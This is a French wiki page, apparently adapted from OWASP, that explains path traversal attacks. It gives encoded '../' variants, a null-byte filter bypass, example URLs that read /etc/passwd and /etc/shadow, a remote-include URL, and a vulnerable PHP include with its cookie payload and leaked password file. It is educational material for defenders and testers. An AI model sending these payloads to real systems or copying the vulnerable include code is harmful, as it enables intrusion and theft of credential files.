User Tools

Site Tools


hack:path_traversal

Path Traversal

Aperçu

Une attaque Path Traversal a l'intention d'accéder aux fichiers et répertoires qui sont stockés à l'extérieur du dossier racine root du web. En parcourant l'application, l'attaquant cherche des liens absolus vers les fichiers conservés sur le serveur web. En manipulant des variables qui se réfèrent aux fichiers avec des séquences “dot-dot-slash (../)” et ses variations, il peut être possible d'accéder aux fichiers arbitraires et aux répertoires conservés sur file system, en incluant le code source de l'application, la configuration et les fichiers système critiques, limités par le système le contrôle d'accès opérationnel. L'attaquant utilise les séquences “../” pour déplacer jusqu'au dossier racine, en permettant ainsi la navigation par le système de fichier. Cette attaque peut être exécutée avec un code malicieux externe injecté sur le path, comme l'attaque Resource Injectionhttps:www.owasp.org/index.php/Resource_Injection. Pour exécuter cette attaque il n'est pas nécessaire d'utiliser un outils spécifique ; les attaquants utilisent typiquement caractéristique une “spider/crawler” pour découvrir toutes les URLs disponibles. Cette attaque est aussi connue comme “dot-dot-slash”, “directory traversal”, “directory climbing” et “backtracking”. # Activités de Sécurité Liées # ## Comment Éviter les Vulnérabilités Path Traversal ? ## Voir l'article OWASP Guidehttps:www.owasp.org/index.php/Category:OWASP_Guide_Project sur how to Avoid Path Traversalhttps:www.owasp.org/index.php/File_System#Path_traversal Vulnerabilities. ## Comment Tester les Vulnérabilités Path Traversal ? ## Voir l'article OWASP Testing Guidehttps:www.owasp.org/index.php/Category:OWASP_Testing_Project sur how to Test for Path Traversal https://www.owasp.org/index.php/Testing_for_Path_Traversal_%28OWASP-AZ-001%29Vulnerabilities.

Description

Variations de Requêtes

Encodage et double encodage :

%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../ 
%2e%2e%5c represents ..\
%2e%2e\ represents ..\ 
..%5c represents ..\ 
%252e%252e%255c represents ..\ 
..%255c represents ..\ and so on. 

Pourcentage d'encodage (aka URL encodant) Notez que les récipients de web jouent un niveau de décodage sur le pourcentage de valeurs encodées depuis les formulaires et les URLs.

..%c0%af represents ../ 
..%c1%9c represents ..\ 

OS specific

  • UNIX

Root directory: “ / “

Directory separator: “ / “
* WINDOWS 
Root directory: “  <partition letter> : \ “
Directory separator: “ / “ or “ \ ” 
Note that windows allows filenames to be followed by extra . \ / characters.

Dans beaucoup de systèmes d'exploitation, les octets nuls %00 peuvent être injectés pour terminer le nom de fichier. Par exemple, en envoyant un paramètre comme :

?file=secret.doc%00.pdf

s'ensuivra dans l'application Java la vue d'un string qui finira par '.pdf' et le système d'exploitation verra un dossier qui finira par '.doc'. Les attaquants peuvent utiliser ce truc pour éviter les routines de validation.

Exemples

Exemple 1

Les exemples suivants montrent comment l'application s'occupe des ressources utilisées.

http://some_site.com.br/get-files.jsp?file=report.pdf  
 http://some_site.com.br/get-page.php?home=aaa.html  
 http://some_site.com.br/some-page.asp?page=index.html  

Dans ces exemples il est possible d'insérer un string malicieux comme un paramètre de variable pour accéder aux fichiers trouvés à l'extérieur du répertoire du web publié.

http://some_site.com.br/get-files?file=../../../../some dir/some file 
  http://some_site.com.br/../../../../some dir/some file 

Les URLs suivantes montrent des exemples d'exploitation de fichier de mot de passe *NIX.

http://some_site.com.br/../../../../etc/shadow  
 http://some_site.com.br/get-files?file=/etc/passwd 

Notez : Dans un système Windows un attaquant peut naviguer seulement dans une partition où se trouve la racine web alors que dans Linux il peut naviguer sur le disque entier.

Exemple 2

Il est aussi possible d'inclure des fichiers et des scripts trouvés sur le site web externe.

<nowiki>http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php</nowiki>

## Exemple 3 ##

Ces exemples illustrent le cas où l'attaquant fait afficher au serveur le code source CGI (Common gateway Interface (ou Interface de passerelle commune)).

<nowiki>http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi</nowiki>

Exemple 4

Cet exemple a été extrait de : Wikipedia - Directory Traversal Un exemple typique de code vulnérable d'application est :

<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
  $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

Une attaque contre ce système pourrait être d'envoyer la requête HTTP suivante :

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Générant une réponse du serveur comme :

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

La répétition ../ characters after /home/users/phpguru/templates/ a provoqué include() pour traverser le répertoire root, et inclus le fichier de mot de passe UNIX /etc/passwd. UNIX etc/passwd est un répertoire commun utilisé pour démontrer le répertoire transversal, comme il est souvent utilisé par les crackers pour essayer de craquer les mots de passe.

Absolute Path Traversal

Les URLs suivantes peuvent être vulnérables à cette attaque :

 http://testsite.com/get.php?f=list
 http://testsite.com/get.cgi?f=2
 http://testsite.com/get.asp?f=test

Un attaquant peut exécuter cette attaque comme cela :

http://testsite.com/get.php?f=/var/www/html/get.php
 http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
 http://testsite.com/get.asp?f=/etc/passwd

Quand le serveur web renvoit des informations sur les erreurs dans une application web, c'est beaucoup plus facile pour l'attaquant de deviner les endroits corrects (par ex. le path vers un fichier avec un code source, qui peut alors être affiché).

References

hack/path_traversal.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1